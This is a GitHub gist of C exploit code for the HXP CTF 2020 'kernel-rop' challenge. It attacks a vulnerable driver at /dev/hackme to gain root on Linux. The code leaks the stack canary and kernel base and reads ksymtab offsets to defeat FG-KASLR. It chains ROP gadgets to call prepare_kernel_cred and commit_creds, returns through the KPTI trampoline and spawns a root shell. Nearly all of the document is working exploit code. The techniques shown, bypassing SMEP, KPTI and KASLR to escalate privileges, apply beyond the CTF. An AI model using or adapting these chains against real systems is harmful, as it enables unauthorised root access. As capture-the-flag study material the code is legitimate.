Skip to content

Instantly share code, notes, and snippets.

@brant-ruan
Last active September 5, 2022 04:51
Show Gist options
  • Save brant-ruan/eb07b3e64f1c70e4fa436dcbb570845a to your computer and use it in GitHub Desktop.
Save brant-ruan/eb07b3e64f1c70e4fa436dcbb570845a to your computer and use it in GitHub Desktop.
[exploit_bypass_fgkaslr_with_ksymtab_leak] HXP CTF 2020 >> kernel-rop | bypass SMEP with kernel ROP; bypass KPTI with trampoline; bypass KASLR with kernel offset leak; bypass FG-KASLR with ksymtab leak
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
void spawn_shell();
void leak_commit_creds_from_ksymtab();
void leak_prepare_kernel_cred_from_ksymtab();
void fetch_prepare_kernel_cred();
void fetch_commit_creds();
void make_cred();
void fetch_cred();
void overwrite_ret();
char *VULN_DRV = "/dev/hackme";
int64_t global_fd = 0;
int fetch = 0;
uint64_t cookie = 0;
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t prepare_kernel_cred = 0;
uint64_t commit_creds = 0;
uint64_t pop_rax_ret = 0xffffffff81004d11;
uint64_t pop_rdi_pop1_ret = 0xffffffff810038a0;
uint64_t pop_rdi_ret = 0xffffffff81006370;
uint64_t mov_eax_rax_pop1_ret = 0xffffffff81015a80;
uint64_t mov_rdi_rax_clobber_rsi140_pop1_ret = 0xffffffff816bf203;
uint64_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81200f10;
uint64_t ksymtab_commit_creds = 0xffffffff81f87d90;
uint64_t ksymtab_prepare_kernel_cred = 0xffffffff81f8d4fc;
uint64_t kernel_base = 0xffffffff81000000;
int64_t kernel_base_offset = 0;
uint64_t cred_struct_ptr = 0;
void open_dev() {
global_fd = open(VULN_DRV, O_RDWR);
if (global_fd < 0) {
printf("[!] failed to open %s\n", VULN_DRV);
exit(-1);
} else {
printf("[+] successfully opened %s\n", VULN_DRV);
}
}
void leak_cookie_and_kernel_offset() {
uint8_t sz = 40;
uint64_t leak[sz];
printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
uint64_t data = read(global_fd, leak, sizeof(leak));
uint8_t cookie_off = 16;
cookie = leak[cookie_off];
kernel_base_offset = (leak[38] & 0xffffffffffff0000) - kernel_base;
printf("[+] got kernel base address offset: 0x%lx\n", kernel_base_offset);
printf("[+] found stack canary: 0x%lx @ index %d\n", cookie, cookie_off);
if(!cookie) {
puts("[-] failed to leak stack canary!");
exit(-1);
}
}
void spawn_shell() {
puts("[+] returned to user land");
uid_t uid = getuid();
if (uid == 0) {
printf("[+] got root (uid = %d)\n", uid);
} else {
printf("[!] failed to get root (uid: %d)\n", uid);
exit(-1);
}
puts("[*] spawning shell");
system("/bin/sh");
exit(0);
}
void save_userland_state() {
puts("[*] saving user land state");
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax");
}
void leak_prepare_kernel_cred_from_ksymtab() {
puts("[*] leaking prepare_kernel_cred address from ksymtab");
unsigned long payload[50];
int offset = 16;
payload[offset++] = cookie;
payload[offset++] = 0;
payload[offset++] = 0;
payload[offset++] = 0;
payload[offset++] = pop_rax_ret + kernel_base_offset;
payload[offset++] = ksymtab_prepare_kernel_cred + kernel_base_offset;
payload[offset++] = mov_eax_rax_pop1_ret + kernel_base_offset;
payload[offset++] = 0;
payload[offset++] = swapgs_restore_regs_and_return_to_usermode + kernel_base_offset + 22;
payload[offset++] = 0;
payload[offset++] = 0;
payload[offset++] = (unsigned long)fetch_prepare_kernel_cred;
payload[offset++] = user_cs;
payload[offset++] = user_rflags;
payload[offset++] = user_sp;
payload[offset++] = user_ss;
write(global_fd, payload, sizeof(payload));
}
void fetch_prepare_kernel_cred() {
__asm__(
".intel_syntax noprefix;"
"mov fetch, eax;"
".att_syntax;");
prepare_kernel_cred = ksymtab_prepare_kernel_cred + kernel_base_offset + fetch;
printf("[+] got prepare_kernel_cred address: 0x%lx\n", prepare_kernel_cred);
leak_commit_creds_from_ksymtab();
}
void leak_commit_creds_from_ksymtab() {
puts("[*] leaking commit_creds address from ksymtab");
unsigned long payload[50];
int offset = 16;
payload[offset++] = cookie;
payload[offset++] = 0;
payload[offset++] = 0;
payload[offset++] = 0;
payload[offset++] = pop_rax_ret + kernel_base_offset;
payload[offset++] = ksymtab_commit_creds + kernel_base_offset;
payload[offset++] = mov_eax_rax_pop1_ret + kernel_base_offset;
payload[offset++] = 0;
payload[offset++] = swapgs_restore_regs_and_return_to_usermode + kernel_base_offset + 22;
payload[offset++] = 0;
payload[offset++] = 0;
payload[offset++] = (unsigned long)fetch_commit_creds;
payload[offset++] = user_cs;
payload[offset++] = user_rflags;
payload[offset++] = user_sp;
payload[offset++] = user_ss;
write(global_fd, payload, sizeof(payload));
}
void fetch_commit_creds() {
__asm__(
".intel_syntax noprefix;"
"mov fetch, eax;"
".att_syntax;");
commit_creds = ksymtab_commit_creds + kernel_base_offset + fetch;
printf("[+] got commit_creds address: 0x%lx\n", commit_creds);
make_cred();
}
void make_cred() {
puts("[*] invoking prepare_kernel_cred(0)");
uint8_t sz = 35;
uint64_t payload[sz];
uint8_t cookie_off = 16;
payload[cookie_off++] = cookie;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = pop_rdi_ret + kernel_base_offset; // return address
payload[cookie_off++] = 0x0;
payload[cookie_off++] = prepare_kernel_cred;
payload[cookie_off++] = swapgs_restore_regs_and_return_to_usermode + kernel_base_offset + 22;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = (unsigned long)fetch_cred;
payload[cookie_off++] = user_cs;
payload[cookie_off++] = user_rflags;
payload[cookie_off++] = user_sp;
payload[cookie_off++] = user_ss;
uint64_t data = write(global_fd, payload, sizeof(payload));
puts("[-] if you can read this we failed the mission :(");
}
void fetch_cred(void) {
__asm__(
".intel_syntax noprefix;"
"mov cred_struct_ptr, rax;"
".att_syntax;");
printf("[+] got cred struct pointer: 0x%lx\n", cred_struct_ptr);
overwrite_ret();
}
void overwrite_ret() {
puts("[*] invoking commit_creds(cred_struct_ptr)");
uint8_t sz = 35;
uint64_t payload[sz];
uint8_t cookie_off = 16;
payload[cookie_off++] = cookie;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = pop_rdi_ret + kernel_base_offset; // return address
payload[cookie_off++] = cred_struct_ptr;
payload[cookie_off++] = commit_creds;
payload[cookie_off++] = swapgs_restore_regs_and_return_to_usermode + kernel_base_offset + 22;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = (unsigned long)spawn_shell;
payload[cookie_off++] = user_cs;
payload[cookie_off++] = user_rflags;
payload[cookie_off++] = user_sp;
payload[cookie_off++] = user_ss;
uint64_t data = write(global_fd, payload, sizeof(payload));
puts("[-] if you can read this we failed the mission :(");
}
int main(int argc, char **argv) {
puts("[*] trying to run ROP chain and bypass FG-KASLR with ksymtab leak");
save_userland_state();
open_dev();
leak_cookie_and_kernel_offset();
leak_prepare_kernel_cred_from_ksymtab();
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment